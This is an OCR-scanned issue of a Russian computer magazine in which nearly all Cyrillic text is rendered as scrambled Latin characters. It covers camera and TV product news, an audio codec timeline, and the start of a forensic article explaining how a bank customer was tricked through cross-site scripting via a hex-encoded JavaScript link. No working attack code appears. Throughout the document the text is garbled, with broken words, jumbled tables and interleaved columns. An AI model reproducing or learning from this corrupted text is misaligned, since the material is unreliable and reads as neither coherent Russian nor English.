KaMepe npnMeHeHa c|3npMeH- 
Ha5i CMdeMa 3aiAHTbi ot nbi/in, 
y>Ke onpo6oBaHHa^ b npeAbi- 


AyiAMX MOAe/lflX, M 3-AK)MMOBblM 
>KK-Ancnjien c pa3peiueHneM 
230 000 nnKce/ien, npeAOcraB- 

/153 HDLAM M B03MO>KHOCTb >KM BOTO 
BH3HpOBaHHfl H306pa>KeHHfl 
npflMO Ha 3KpaHe yciponcTBa. 

fl/lfl HOBOM KaMepbi C03AaH 
KOMn/ieKT BbicoKOKanecTBeHHbix 
CBeTOCM/1 bH bIX o6"beKTM BOB. 

KaKoPi 6yAeT ueHa c|30Toanna- 
paia Ha momcht BbixoAa, CKa- 
3aTb noKa hto cjiowho, ho cto- 
MMOCTb ero npeAiuecTBeHHMKa 
Mark II b Poccnn cocTaB/ifleT 
$3800 6e3 o6i3eKTMBOB n npn- 
MepHo b Asa pa3a 6ojibiue — c 
KOM n/ieKTOM TaKOBbIX. 

■ www.canon.ru 
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H 5 U? NEWS & TRENDS 



CHIP 




neKM flna MP3-nneepoB 




OnTMManbHbm 3 ByK fljia nioOoro n/ieepa? CHIP 
Radar noi<a3biBaeT, KaKwe KOfleKM cnmaiOTca 
jiyHLLiMMM Ha ceroflHfluiHi/iM AeHb, a KaKwe — 
Han6ojiee nepcneKTMBHbiMi/i. 


i 




|P 3 -peBOJiioi];HH npHHecjia nenuBaeT TaKoe xce KauecTBO 


InonyjiHpHOCTB ayauoKO- 


aexaM c bbicokoh CTeneHBio 


cxaTHH, nocKOJiBKy caejiaH- 


HBie C HX nOMOmBK) 3 anHCH 


BOcnpOH3BoaHTCH Bceraa h 


Beaae. OaHaKo cJxrpMaT MP3 


yxe npH 128 K6aHT/c. HaujiyH- 
hihmh nepcneKTHBaMH ceroa- 
hh o6jiaaaiOT b nepByio oue- 
peaB TaKne KoaeKH, xaxWMA 
10 Pro h Dolby Digital Plus: 

OHH COBMeCTHMBI C JIK) 60 H 



n 


yace ycTapeji: juoau 3HaK)mue tcxhukoh, ot KapMaHHoro 




HcnojiB3yiOT apyrue KoaeKH — 
h npeacae Bcero OGG Vorbis. 
Oh obecneuHBaeT jiyumee 


KauecTBO 3ByuaHHH, ho noaae- 


pacHBaiontHe ero njieepBi ao 
HeaaBHero BpeMeHH 6bijih pea- 
koctbk). CbpocHTB MP3 c nBe- 
aecTajia cyMeji tojibko AAC — 


mieepa ao aoManiHero khho- 
TeaTpa co 3ByKOM 7.1. 

Kax MHTaeTca rpa(|)HK CHIP 
Radar. IojiyboH Tpeyrojit- 
hhk o6o3HauaeT cTaHaapTH- 


KTO PEIUAET CVflbBV KOflEKOB 
Koflex, He noflflep>KMBaeMbiM iTunes 
m iPod, He mvieeT HMKaioix waHCOB Ha 
MyjIbTHMeflHMHOM pbIHKe 


3 aitHio Koaexa hjih ero Btixoa 


cTaHaapTHbiH Koaex aJin 
iPod. B TexHHuecKOM CMticjie 


Ha pBiHOK. Chmboji «Meana- 
ceHcau;H5i» (BOCKjnmaTejiB- 
HBIH 3HaK), KaK npaBHjio, 


CBH 3 aH c HauajiOM npHMeHe- 


aacPlus v2 aeHCTBHTejiBHO 
ynieji aaneico Bnepea. Ecjih 
aJiH MP3 TpeboBajiCH 6mpeHT 
256 K6aHT/c, to aacPlus obec- 


HHfl KOaexa B KOHKpeTHBIX 


pacnpocTpaHeHHe. KaKoii 
BapHaHT BBlbpaTB, 3aBHCHT OT 
aByx 4>aKTOpOB — xauecTBa 
3Byxa H COBMeCTHMOCTH C 
njieepaMH. KpacHtra u,BeT 


HBIM, OTBeuaiOT COBpeMeH- 
hbim Tpe6oBaHHHM. TaM, rae 
CTpouxa nepexoaHT b cepBiii, 
Koaex bojimie He pa3pa6aTti- 


BaeTCH b cbh3h c npeKpame- 


ycTpOHCTBax h roBOpHT o 03HauaeT«njioxo»,acejiTBiH — HHeM Bbinycxa noaaepacHBa- 


tom, hto c OToro MOMeHTa «yaoBjieTBOpHTejiBHO». JIhihb 


Koaex nojiyuHji ninpOKoe KoaeKH, OTMeueHHBie 3ejie- 


lontHx ero Moaejien njieepOB 
(cepBIH KpeCT). CHIP 


2001 2002 2003 2004 2005 2006 


Anpe/ib 

2007 


2008 2009 2010 




mp3Pro (►): 






OGG Vorbis 




Dolby Digital Plus 


Sony ATRAC* 


i i i i i i i | j'j i i 

2001 2002 2003 2004 2005 2006 1 1 2 1 3 1 4 2 008 200g 2010 

KBapTan KBapTaa KBapTa/t KBapTan 


(►) Ahohc npoflym 
I OHeHbAoporo 


PeK/iaMHaa KaivinaHi/m ® 3aBepiueHi/ie Bbinycxa npoflym 

I I floporo □□ fleiueBO 
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NEWS & TRENDS Hobmhkm cJdoto- m BMfleoTexHMKM 



Panasonic HD 


Networking Seminar 2007 


Ha npoweflLueM 13-14 (fteBpajifl b Mi/maHe ceMi/mape Panasonic eBponeMCKnM >KypHanncTaM 
n flwiepaM 6buin npo,qeMOHCTpnpoBaHbi HOBenwne pa3pa6oTKi/i i/i3BecTHOM KOMnaHni/i. 

0 caMbix i/imepecHbix n3 hi/ix Mbi paccKaweM noflpo6Hee. 


n pe3eHTau;HH, nponieAniHe b moahom OTejie nhow, oxBa- 
thjih Becb cneKTp npoayKUHH Panasonic — ot hmc|>po- 
bbix xaMep jxo njia3MeHHBix naHejien. B cthjibho ocjrop- 
MjieHHBix inoy-pyMax, no# CTaTB MecTy npOBeAeHHH, 6 bijih 
BB icTaBjiem>i He MeHee cranBHBie hobhhkh. B TeneHne ahh 
> i<yp h ajr n CTbi MorjiH He tojibko nocjiyinaTB o hobbix pa3pa6oT- 
Kax, ho h onpo6oBaTB ycTponcTBa b pa6oTe. 

UntjjpoBbie cjjOTO- n BM/ieoKaMepbi 

KoMnaHHH Panasonic, He cneu,HajiH3HpyHCB b o6jiacTH 
(JiOTOTexHHKH , AOCTHraa 3HanHTejiBHBix ycnexoB B npOH3- 
BO^CTBe ijHtjDpoBbix KaMep. Ee npOAyKLtHil peryjinpHO 3aHH- 
MaeT Be^ymne no3Hu;HH b HaineM peftTHHre, OjiaroAapn 
BBicoKOMy KanecTBy H3o6paxeHHn h coBpeMeHHOMy ocHa- 
meHHio. H3K)mhhkoh Panasonic nBjineTCH npHMeHeHHe 


onTHnecKoro CTa6HjiH3aTOpa bo Bcex moacjihx KaMep, hto 
cnoco6cTByeT pocTy KaMep AaHHOH MapKH. A hh3khh ypo- 
BeHB myMOB, HajiHnne nmpOKoyrojiBHoro pe^HMa h (J>op- 
MaTa 16:9 AenaiOT KaMepBi Panasonic eme 6ojiee npHBjieKa- 
TejiLHBiMH. B KOHije iTHBapii KOMnaHHn nojiHOCTBio o6ho- 
BHJia JIHHeHKy CBOHX KaMep, H O HeKOTOpBIX H3 HHX MBI 
paccKaaceM HHxe. 

Ha pBiHKe BH^eoKaMep Panasonic TaiQKe flepxHT pyKy Ha 
nyjiBce, o neM roBOpHT aHOHC HD-moacjih, npHMeHeHHe 
SDHC-KapTBi h xecTKoro AncKa b KanecTBe HOCHTejra, a 
TaKace pacnmpeHHBiH accopTHMeHT DVD-MOAejieii. B o6jiac- 
th BH^eoKaMep kohbkom Panasonic nBjineTcn npHMeHeHHe 
Tpex MaTpnit, hto no3BOJiHeT nojiynaTB H3o6pa3ceHHe 6ojiee 
BBICOKOrO KaneCTBa no CpaBHeHHK) C OAHOMaTpHHHBIMH 
MOaeJIHMH. BS& 



Panasorv 

owc-eze ‘ 


Lumix 


Moflexib 


MeramiKcejieM 


Panasonic DMC-FZ8 


OKono 550 


Pa 3 Mep CCD-Marpnubi, ahjmmob/ 
pa 3 pemeHMe HOMMHajibHoe/atJitfjeKTMBHoe 


3072x2304 


IvlaKCiiMaiibHoe pa3pememie, nnKce/ien 


PeMMM cbeMKn 16:9 


12/4 


IVIaKClIMaJIbHblli 3yM ornm/uiicpp., x 


Wide: F2,8-F8; 

Tele: F3,1 -F8/36-432 


UBeTOCMJia/cpoKycHoe paccTOAHue 
(tbopMai 35 mm), mm 


flnana30H HyBCTBmejibHOCTn no ISO 


Auto/1 00/200/400/800/1 250 
(High Sensitivity Mode: 3200) 


Panasonic DMC-FZ8 


Ha CMeHy MOAe/in FZ7, KOTopaa HeoAHOKpaTHO no6e>KAajia b Hawnx 
TecTax n TiB/meTCn 3aBcerAaTaeM Top 5, npmujia FZ8 c yjiyHweHHbiMM 
xapaKTepMCTMKaMM. Kopnyc KaMepbi, o6jiaAaiOLAnn om n h h bi m n apro- 
HOMMHecKMMM xapaKTepMCTMKaMM, He npeTepne/i miAenenm: oh 
no-npe>KHeMy yAo6eH nnn yAepwaHnu, a 3/ieMeHTbi ynpaB/ieHMn pac- 
no/io>KeHbi Ha cbomx MecTax. Pa3Mep A^cn/iea, k coKa/ieHMK), TaK>Ke 
ocra/icfl npe>KHMM, ho ero pa3peiiieHMe yBe/iMHM/iocb npaKTMHecKM 
BABoe. TaK>Ke noBbicn/iocb m pa3peweHne MaTpnubi — c 6 ao 7,2 Me- 
rannKce/ien. KaK m npe>KAe, o6BeKTMB c 12-KpaTHbiM yBe/iMHeHneM 
ocHameH lOMKapHOM onTMKOM Leica DC VARIO-ELMAR c 11 3/ieMeHTa- 


2,5/207 000 


3/ieKTpoHHbm/Mega 0.1. S. 


SD, SDHC, MMC 


DC In, AV Out (NTSC/PAL), USB 


112,5x72,2x79/310 


mm b BOCbMM rpynnax. KaMepa ocHameHa npoueccopoM Venus Engine 
III, no3BOjmK)LAMM ycTaHOBMTb CBeTOHyBCTBMTe/ibHOCTb 6o/iee ISO 1250. 
IIommmo nponero oh yBe/iMHMBaeT cKopocTb pa6oTbi KaMepbi m cHM>KaeT 
3HeronoTpe6/ieHMe. HoBMHKa nocrynnT b npoAa>Ky b anpene-Mae. 


Pa 3 Mep AMcnnea, AioMMOB/paspewemie, 
nuKceneu 

BnAoncKaTejib/cra6njni3aTop 
(DopMaT HOCMTeJIB 
l/lHTepc|)eMC 
fafiapuTbi, MM/Bec, r 
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BMfleoTexHMKa 



Panasonic He 060111/ia BHMMaHMeM m TpaAMUMOHHO BbinycKaeMyio 
TexHMKy, TaKyK) KaK Te/ieBM3opbi, n/ieepbi, aKycTi/inecKMe cMcreMbi 
m t. a. ComacHo noc/ieAHeM MOAe, Panasonic npeAcraBM/ia HOBbie 
MOAe/lM n/ia3MeHHblX M /KMAKOKpMCTa/l/lMHeCKMX Te/ieBM30p0B 
cfiopMaTa Full HD cepnn VIERA, a Taione npoeKTopbi PT-AE1000E 
c pa3pemeHneM 1080p. 

PaCWMp/lfl B03M0/KH0CTM nOAKJlIOHeHMfl, HOBbie MOAe/lM n/ia3MeH- 
Hbix TB ocHaiAeHbi He TO/ibKO paa^eMOM HDMI, ho m cjiotom p,nn 
HTeHM/i KapT naMATM SDHC. KpoMe Bcero nponero hobmhkm cepMM 
PZ/PY700 MMeiOT noAAep>KKy cJ/opMaia AVCHD, o6ecneHMBa/i Ha- 
M/iyHinee KanecTBO BOcnpoM3BeAeHM/i OTCH/uoro BMAeo Ha HOBbix 
HD-BMAeoKaMepax. I/I xota Full HD-naHe/in o6/iaAaiOT KOHTpacTOM 
5000:1 npoTMB 10 000:1 y HD-naHe/ieM, hobmhkm ocHameHbi y/iyn- 
lueHHOM TexHo/iorMePi V-ReaL Pro II, o6ecneHMBaioiAeM 6o/iee Ae- 
Ta/ibHoe M3o6pa>KeHMe m my6oKMM nepHbm abct. 

B hobom /iMHeMKe >KK-Te/ieBM3opoB, MMeioiAMx AMaroHa/ib ao 32 akdm- 
mob, Panasonic npMMeHM/ia naHe/ib IPS Alpha, OT/iMHaioiAyioai yBe- 
/lMHeHHbiM yr/iOM o63opa, KOTopbm cociaB/i/ieT 178°. TaK >Ke KaK m 



b n/ia3MeHHbix naHe/iax, b hmx npMMeHeHa TexHO/iomfl o6pa6oTKM 
M3o6pa>KeHM/i V-Real II. 

fl/i/i Tex, KOMy HeAOdaTOHHo AMaroHa/iePi, o6ecneHMBaeMbix >KK- m 
n/ia3MeHHbiMM naHe/i/iMM, npeAHa3HaneH npoeKTop Full HD, no3BO/iflio- 
iamm cj)opMMpoBaTb 100-AiOMMOBoe M3o6pa>KeHMe C paCCTOflHMfl 1,24 M. 
Oh o6ecneHMBaeT KOHTpacT 11000:1 n apKOCTb 1100 /liOMeH. 
flji/i BOcnpoM3BeAeHM/i Full HD-KOHTeHTa npeAHa3HaneH HOBbm n/ieep 
Blu-ray DMP-BD10A c noAAep/KKOM 7.1-KaHa/ibHoro 3ByKa c|DopMaTOB 
Dolby TrueHD m DTS-HD. Oh TaK>Ke no3BO/i/ieT npocMaipMBaTb BMAeo, 
3anMcaHHoe b cfiopMaTe AVCHD. IIommmo nponero AanHa/i MOAe/ib 
n/ieepa ocHameHa coBpeMeHHbiMM TexHo/iom/iMM o6pa6oTKM M3o6pa- 
>KeHM/i, TaKMMM KaK P4HD, Diagonal Processing, DNR n t. a*, no3BO/i/iK)- 
iammm 3HaHMTe/ibHO y/iyniuMTb KanecTBO BOcnpoM3BeAeHM/i. ripeA/iaraa 
no/ib30Baie/i/iM 3aKOHHeHHyio KOHuenuMio AOMaiuHero KMHOTeaipa, 
KOMnaHM/i Panasonic bo Bcex HOBMHKax c HOMI-pas^eMOM pea/iM30Ba- 
/ia noAAep>KKy TexHO/iorMM VIERA Link, KOTopaa no3BO/i/ieTynpaB/iflTb 
BbiiueonMcaHHbiMM ycTpoMCTBaMM, BK/ifona/i HD-BMAeoKaMepbi n ayAMO- 
CMdeMbi Panasonic, npM noMOnn yHMBepca/ibHoro ny/ibTa ynpaB/ieHM/i. 





Moflenb 


radapmbi, MM/Bec, r 


10/700 


okojio 550 


MPEG-2/SD/SDHC 


1 , 6 / 0, 8 


640x480 


Y/ibipaKOMnaKTHa/i m CTM/ibHa/i BMAeoKaMepa Panasonic SDR-S10 c 
2,7-AiOMMOBbiM AUcn/ieeM m 10-KpaTHbiM omnHecKMM 3yMOM MMe- 
eT ra6apMTbi Bcero 31x63x114 mm m b KanecTBe HOCMTe/i/i Mcno/ib- 
3yeT KapTbi SD n/in SDHC. Ha cfuiem-HaKonMie/ib eMKOCTbio 4 r6aMT 
mo>kho 3anMcaTb ao 100 mnyi BMAeo b cj/opMaie MPEG-2. Ho 
r/iaBHOM oco6eHHocTbio KaMepbi AB/i/ieiai ee yAaponpoiHocib m 
BOA 03aiAMLAeHHOCTb. fleMOHdpMpyeMbie o6pa3Ubi yBepeHHO pa- 


F1 ,8 (wide), F2,4 (tele)/44, 1-441 (4:3), 
44,4-444 (16:9) 


2,7/123 000 


-/E.I.S. 


Panasonic SDR-S10 


BMfleotpopMaT/HOCMTejib 

Pasiviep CCD-Marpmjibi, akjmmob/ 
paspeiueHMe, MeranMKcejieii 

cDoTopa 3 peiiieHMe, nnKceneii 
Pe)KMM cbeMKH 16:9 

MaKCMMajibHbm 3yM ofithh./ 
UMtpp,, x 

CBeTOGMJia/tpoKycHoe paccTOAHue 
(tpopMar 35 mm), mm 

Pa 3 Mep AMcnaea, akjmmob/ 
paspeiueHMe, nMKceueM 

BMAOMCKaTeub/cTadM/iMsarop 

l/lHtepipeMCbi 


Panasonic SDR-S10 


6oTa/iM «noA AyweM» m noc/ie nanenm npMMepHO c MeipoBOM Bbi- 
coTbi (AonycKaeTC/i naAeHMe c BbicoTbi ao 1,2 Meipa). TaKaa KaMe- 
pa MAea/ibHo noAOMAeT 3KdpeMa/ibHoro OTAbixa m Tawe/ibix 
yc/iOBMM 3Kcn/iyaiai4MM. ripMo6pecTM ee mo>kho 6yAeiy>Ke b Mae. 


L SSL** 


AV out, USB 2.0, COBMeCTMMOCTb 
c PictBridge 


31x63x114/182 
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Panasonic DMC-TZ3/DMC-TZ2 


HaaieAHMLjbi nony/iapHOM KaMepbi TZ1 BHeume oneHb noxo>KM 
Ha npefliuecTBeHHMpy, ho mmciot p^A cymecTBeHHbix otjimhmm. 
Hobmhkm ocHameHbi uJMpoKoyro/ibHOM oiumkom Leica DC 
VARIO-ELMAR c MMHMMa/ibHbiM cf)OKycHbiM paccroflHMeM 28 mm, 
HTO n03B0/15ieT nOMeCTMTb B Kaflp 6o/l bine MHCfDOpMapMM. Ctomt 
OTM eTMTb, HTO npOCMOTp Ha H D-Te/ieBM30paX CHMMKOB, Cfle^aH- 
Hbix b LUMpoKoyro/ibHOM pe>KMMe m (fopMaTe 16:9, AOCTaB/meT 
OAHO yAOBO/lbCTBMe. 

MoAe/ibTZ3 MMeeT3c|Dc|)eKTMBHoe pa3peiueHMe 7,2 MeranMKce/ifl m 
AM cn/ieM c AHaroHa/ibfo 3 AK)MMa, MAea/ibHO noAxoAfliAMM cbeM- 
km b (fopMaTe 16:9. LUecTMMeranMKce/ibHafl MOAe/ib TZ2 ocHameHa 
AMcn/ieeM 2,5 ak>mm3 m TaK >Ke, KaK m TZ3, MMeeT cjDyHKAMio «Power 
LCD», no3BO^^K)iAyK) yBe/iMHMTb apKOCTb Ancn/iefl Ha 40%. 10-KpaT- 
HbiM 3yM-o6-beKTMB ocHameH CTa6M/iM3aTopoM M3o6pa>KeHM5i Mega 
O.I.S. 1/lHTepecHOM oco6eHHocrbK) 5iB/i5ieTC5i cJoyH K 14 M 53 «Extra 
Optical Zoom», no3BOJiflioiAafl yBe/iMHMTb MaKCMMa/ibHoe 3HaneHMe 
onTMHecKoro 3yMa ao 15 KpaT b MOAe/iM TZ3 m ao 13,8 KpaT b TZ2. 
3to bo3mo>kho 3 a cHeTyMeHbweHMfl pa6oneM noBepxHocTM MaipM- 
Abi m M3MeHeHM5i cfiOKycHoro paccTO^HMfl, npM 3 tom npaBAa, pa3pe- 
weHMe noHM>KaeTC5i ao 3 MeranMKce/ieM. TaK>Ke KaMepbi ocHameHbi 
npopeccopoM Venus Engine III, HOBbiMM pe>KMMaMM cbeMKM, (fyHK- 
AMePi 6biciporo AOCTyna k coxpaHeHHon MHcjDopMauMM Clipboard, 
B03M0>KH0CTbK) npflMOM neHaTM, nOAAOp>KKOM KapT SDHC M T. A. 
Hobmhkm nocrynaT b npoAa>Ky anpene. 




MOAe/ib 

Panasonic HDC-SD1 

Panasonic HDC-DX1 

UeHa, $ 

OKono 1550 

okojio 1400 

BnAeotjjopMaT/HOcmejib 

MPEG-4-AVC/H.264 

(AVCHD-coBMecTMMbm)/SDHC 

MPEG-4-AVC/H.264 

(AVCHD-coBMecTMMbm)/DVD 

Pasiviep CCD-Maipnubi, 
Akjmmob/ paspeiueHMe, 
MerannKcenen 

3CCD 1,4/0,56x3 

3CCD 1,4/0,56x3 

OoTopaspeiiieHne, 

nMKceneM 

1920x1080 

1920x1080 

Pe)KMM CbeMKM 16:9 

• 

• 

MaKCMMaJIbHblM 3yM 
OIlTMH./L|Mtf]p., X 

12/120 

12/120 

CBeTOGMJia/tjJOKycHoe 
paccTORHMe (tjiopMaT 
35 mm), mm 

FI ,8-2,8/38,5-462 (16:9) 

FI ,8-2,8/38,5-462 (16:9) 

Pa3Mep AMcnjiea, 

AtOMMOB/paspemeHMe, 

nMKceneM 

3 (LUMpOKOC|)OpMaTHbm)/ 
250 000 

3 (LUMp0K0C|30pMaTHbm)/ 
250 000 

BMflOMCKaiejib/ 

CTa6MJ1M3aT0p 

•/O.I.S. 

•/O.I.S. 

l/lHTeptj]eMCbi 

KapT-pnflep, USB 2.0, 
HDMI OUt, COBMeCTMMOCTb 

c PictBridge 

KapT-pnflep, USB 2.0, 
HDMI OUt, COBMeCTMMOCTb 

c PictBridge 

fadapMTbi, MM/Bec, r 

74x69x142/430 

92x91x174/680 


Panasonic HDC-SD1/HDC-DX1 


llepBbiMM HD-KaMepaMM b jiMHeMKe npoAyKTOB Panasonic cia/in 
MOAe/iM SD1 m DX1 c pa3pemeHMeM 1080i m noAAop>KKOM cfiopMaTa 
AVCHD (Advanced Video Coding High Definition). 0co6bm MHTepec 
Bbi3biBaeT MOAe/ib SD1, KOTopaa b KanecTBe Hocme/ifl Mcno/ib3yeT 
SDHC-Kapiy (DX1 pa6oiaei c 8-cm DVD-HOCMTe/ieM) m no3BOJi5ieT 3a- 
nMcaib Ha HOCMTe/ib eMKOCTbio 4 T6aMT ao 40 mm HyT bmaoo c MaKCM- 
Ma/lbHblM 6MTpeMTOM 13 M6mt/c M AO 90 MM HyT C 6MTpeMTOM 6 M6mt/c. 
fl/151 DX1 3TM 3HaneHM5l COCTaBJ15UOT 14 M 31 MMHyTy COOTBeTCTBeH HO. 
npM MCn0/lb30BaHMM AByCJlOMHblX amckob BpeMfl 3anMCM yABaMBaeT- 
C53 . BbicoKoe KanecTBO c>KaToro HD-MaTepna/ia o6ecneHMBaeTC5i ho- 
BbiM KOAeKOM H.264. Ee3yc/iOBHO, KaMepbi MMeiOT TpexMaTpMH Hyio 
CMCTeMy M OnTMHeCKM M CTa6M^M3aTOp M3o6pa>KeHM51, a T3K>Ke 3yM- 
MMKpocjDOH m noAAepwKy 5. 1-KaHa/i bHoro 3ByKa. BbiconaMwee Kanec- 
tbo HD-BMAeo noMMMO nponero o6ecneHMBaeT onTMKa Leica Dicomar, 
MMeioiAa^i 13 3/ieMeHTOB b 10 rpynnax. 

Panasonic othocmt AaHHbie moao/im k cfiopMaTy Full HD, o neM CBMAe- 
Te/ibCTByeT zioroTMn Ha KaMepax, bhoca, no HaiueMy mhchmio, hckoto- 
pyio nyTaHMAy b o6o3HaneHMe cfiopMaTOB. BeAb Ha3B3H ne Full HD y 
noKynaTe/ieM y>Ke accopMMpyeTCfl c pa3pemeHMeM 1080p 
(progressive), b to BpeMA KaK AaHHbie KaMepbi noAAepwMBaiOT jiMWb 
pa3peiueHMe 1080i (interlaced), o6menpMHflTO Ha3biBaeMoe HD. 
Otmctmm, hto m HeKOTopbie Apyrne KOMnaHMM npM6eraiOT k noAo6HO- 
My TpioKy. J]\o6v\jenv\ LiiMpoKOc|DopMaTHoro bmaoo bhcokom hctkoctm 
CMoryT npMo6pecTM hobmhkm HaHMHafl c anpe/ifl. 
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Mecro npecTyrvieHMfl 1/lmepHeT 


Hadb 1 

OnacHbie ccbi/iKu 


C noMOiMbio xmpocTeM xaxepbi HesaMemo B 3 JiaMbiBaiOT OaHKOBCKwe cat™. Mbi HaHMHaeM 
cepmo CTaiew CSI paccKa 30 M o tom, Kax npoc|DeccMOHa/ibi BbiHi/ic/iaiOT c/ieflbi Taxiix aiax. 


)KepTBa 

Tociioahh M. CTaji xepTBOH xaKepCKOH aTaKH. O^HaKO oh 
H e MoxeT oto AOxa3aTL. HeT HHKaxHx cjieflOB npecTymie- 
hhb: npOTOKOJi 6aHKOBCKoro cepBepa coAepBCHT tojibko IP- 
aApec rocno^HHa M., a ero KOMnBiOTep CBoOoAeH ot BHpy- 
cob, nporpaMM-mnnoHOB hjih tpobhob. Ho npHUHHeHHBra 
Bp eA OHeBH^eH: cueT Ha cyMMy 6ojiee $2000 3a 3JieKTpoHHBie 
ycTpOHCTBa, KynjieHHBie b oahom HHTepHeT-Mara3HHe, yxa- 
3BiBaeT Ha to, bto npecTymieHHe 6 bijio coBepmeHO. 

«PIN Moero OHjiaHHOBoro cueTa 3Haio tojibko b, a koabi 
TAN (TransActions Number — b OHjiaHH-6aHKHHre ceKpeT- 
HBIH KOA, BMeCTe C PIN CJiyaCHT a JIB HAeHTHCjlHKaHHH KJIHeH- 
Ta; ajih KaxAOH TpaHcaKUHH HcnojiB3yeTCB hobbih TAN) 
xpaHHTCH HaAexHO, — roBOpHT rocnoAHH M. h 3aBepBeT, — 
Ha cjiHHiHHroBBie nncBMa b TOBce HHKOTAa He OTBeuaio. R He 


HaCTOJIBKO HaHBeH, UTOGbI nOBepHTB, BTO MOH 6aHK CTaHeT 
npocHTB MeHH npHCJiaTB eMy no ajieKTpOHHOH nouTe moh 
PIN h ABaAHaTB TAN-koaob». 

Me^Ay TeM jiOBymKH BpOAC otoh xopomo 3HaKOMBi cjieAO- 
BaTeJIBM, KOTOpBie 3aHHMaiOTCB A^JiaMH, CBB3aHHBIMH C 3JieK- 
TpOHHBIM MOmeHHHHeCTBOM. MHOTHe Be6-CaHTBI HMeiOT 
onacHBie abipbi, no3BOJHHOiAHe H3o6peTaTejiBHBiM xaKepaM 
HCn0JIB30BaTB KpOCC-CaHT-CKpHnTHHT. PHCKy nOAObHBIX aTaK 
noABepBceHBi Aaxe H3BecTHBie KOMnaHHH. Ka^ABiH hx noce- 
THTeJIB TeOpeTHHeCKH MOvKeT CTaTB XepTBOH XaKepOB. 

B HaAe>KAe BepHyTB ach B ru rocnoAHH M. oOpamaeTCB k HaM h 
npocHT pa3o6paTBCB b ero ACJie. Hto >k, mbi MOBceM nonpoOoBaTB 
3TO CAeJiaTB, HO JIHIHB npH yCJIOBHH, eCJIH C MOMeHTa npOHC- 
mecTBHH oh He npHKacajicn k CBoeMy nK. CneAHajiBHan 
KOMaHAa CHIP TuiaTejiBHO ocMarpHBaeT MecTO npecTyiuieHHB, 


)KepTBa: Be6-caMT 


flpyrne Ha mu >KepTBbi 



£_ r>Clf ■ Hk^AjlA.dbrhWia/Kwl1iC«nic|huiVMMht.ht<rt^=il0IU=Q0(lt= ftiU 
Boric von SPIEGEL GHUNE und mjnigtermflgiii... 


3PIEBEL ONLINE 


manager- magaz i nde 


MHO THE CAMTbl He mem 3amnTbi ot xpocc-caMT-CKpiinTMHra. Cain 
KOHuepHa TUV Sud lame He 6bm ot Hero 3amwmeH. HtoGw noKa3aTb 
3 to, Mbi nepeKpbimi nepenoM cooraH «BbicoKaa 6e3onacHOCTb - 
maBHafl ueHH0CTb». Tenepb stum caoBaM BHOBb mo>kho BepwTb 
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HOBblM 

cepna/i CHIP 


B aMepMKaHCKOM KpMMMHailbHOM 
cepna/ie CSI (Te/ieKaHa/i DTV) 
c/ieflOBaTe/iM pacKpbiBafOT npe- 
CTyruieHMH c noMOLAbfo HayHHbix 
MeTOAOB. CHIP ncno/ib30Ban CSI 
b KanecTBe npoo6pa3a aha co6c- 
TBeHHoro «cepnajia», KOTopbm 
paccKa3biBaeT, KaK npocjDeccMOHa 
Jibi 6opK)TC5i c pacTyneM KOMnbfo 
TepHOki npedynHOCTbK). 


to ecTt KOMnblOTep. 
nepBbiM aenoM npHxo- 
Ahtch comacHTbca c 3aHBjreHHeM M.: b ero KOMnbiOTepe HeT 
BpeaoHOCHbix nporpaMM. IlooTOMy mbi mokcm hckjiiohhtb Bep- 
CHK) O MaHHnyjTHUHH C nOMOLUbK) TpOBHOB H KeHJIOITepOB. fleno 
CTaHOBHTca Bee 6ojiee 3araaoHHbiM. Kto ace cmot nojiy^HTb 
AOCTyn k CHery rocnoaHHa M.? M, npeacae Bcero, KaK? 

TIomck c/ieflOB Ha Mecie npecTyniieHMfi 

IlepBbiH area mbi HaxoaHM b ojieKTpOHHOH noHTe rocnoaHHa M. 
3to coo6meHHe, KOTOpoe odeiaaeT KpynHBiH Bbmrpbiin: 
y^acTHH b HarneH jiOTepee mejiKHHTe 3aecb». B OTjiHHHe 
ot (J)HinHHroBbix nnceM, ccbuiKa aeHCTBHTejiBHo yKa3biBaeT 
Ha 6aHKOBCKHH cepBep. OaHaKO cjiea eiae ropan: OTKpbiBina- 
hch Be6-CTpaHHua Bpoae 6 bi npHHaaJieacHT aoMeny KpeaHT- 
hoto HHCTHTyra, ho b aeiiCTBHTejiBHOCTH coaepacaHHe otoh 
CT paHHu;bi He Bnaeji hhkto KpOMe rocnoaHHa M. MoaceT 
6 bitb, KaKOH-TO xaxep BHeapnji oto coaepacaHHe b KaHaa 
cbh3h c noMombio aTaKH man-in-the-middle (bha xaKepCKOH 
aTaKH, npH kotopoh 3JioyMbiiiuieHHHK nepexBaTbiBaeT KaHaa 
CBH3H Meacay anyMn CHCTeMaMH h nojiynaeT aocTyn ko Been 
nepeaaBaeMOH HH(J>opMaaHH)? Ho 3to HeB03MoacHO : caiiT 
Hcnojib3yeT SSL-3aniH(i)pOBaHHBiH npOTOKOJi HTTPS, koto- 
pbiH HaaeacHo 3aiamaaeT ot aTaK Taxoro poaa. 

B tom ace caMOM coodiaeHHH HaTajiKHBaeMca eiae Ha oahh 
cjiea: URL yKa3biBaeT Ha noncKOByio CTpaHHuy 6aHKa. TaM, 
rae aojiacHO 6 bitb HCKOMoe noroiTHe, HaxoaHTca HeecrecTBeH- 
ho AJiHHHaa nocjieaoBaTejibHOCTb chmbojiob. AHajiH3 noKa3bi- 
BaeT, hto 3to hex-Koa, OKa3aBiHHHCH nocjie pacniH(J)pOBKH 
Java-CKpHnTOM. H oh He HMeeT OTHomeHHH k daHKOBCKOMy 
cepBepy. Harne noao3peHHe TaKOBo: rocnoaHH M. CTaa acepT- 
boh Kpocc-caHT-CKpHnTHHra (Cross- Site Scripting, hjih XSS). 

Taima Java-CKpumoB 

Hto6bi noHHTb, KaK 6buia npOH3BeaeHa aTaKa, mbi aHajiH3Hpy- 
eM ccbuiKy b Hameft jiadopaTopHH. OTKpBiBaeM ee TaK ace, KaK 
3 to caejiaji rocnoaHH M. Ha 
nepBBiii B3rjiaa HHnero CTpaH- 
hoto HeT. CrpaHHua npHraa- 
maeT npHHHTB ynacme b JiOTepee. OaHaKO b3diha Ha hcxoa- 
hbih Koa OTKpbiBaeT HeHTO dojibinee. 3aecb mbi bhobb HaxoaHM 
Java-CKpHnT, yace 3HaKOMBiii HaM no pacnra^pOBaHHOH ccblji- 
Ke. Oh ctoht Ha tom MecTe, rae o6bihho HaxoanTca coaepaca- 
Hne CTpOKH noHCKa: KJiaccHnecKHH npneM Kpocc-caHT-CKpnn- 
THHra. HaM cpa3y CTaHOBHTca hcho, hto pa3pa6oiHHKH caiiTa 
ynycrajiH H3 BHaa HeodxoanMOCTB (J)HjibTpOBaTb aaHHBie, bbo- 
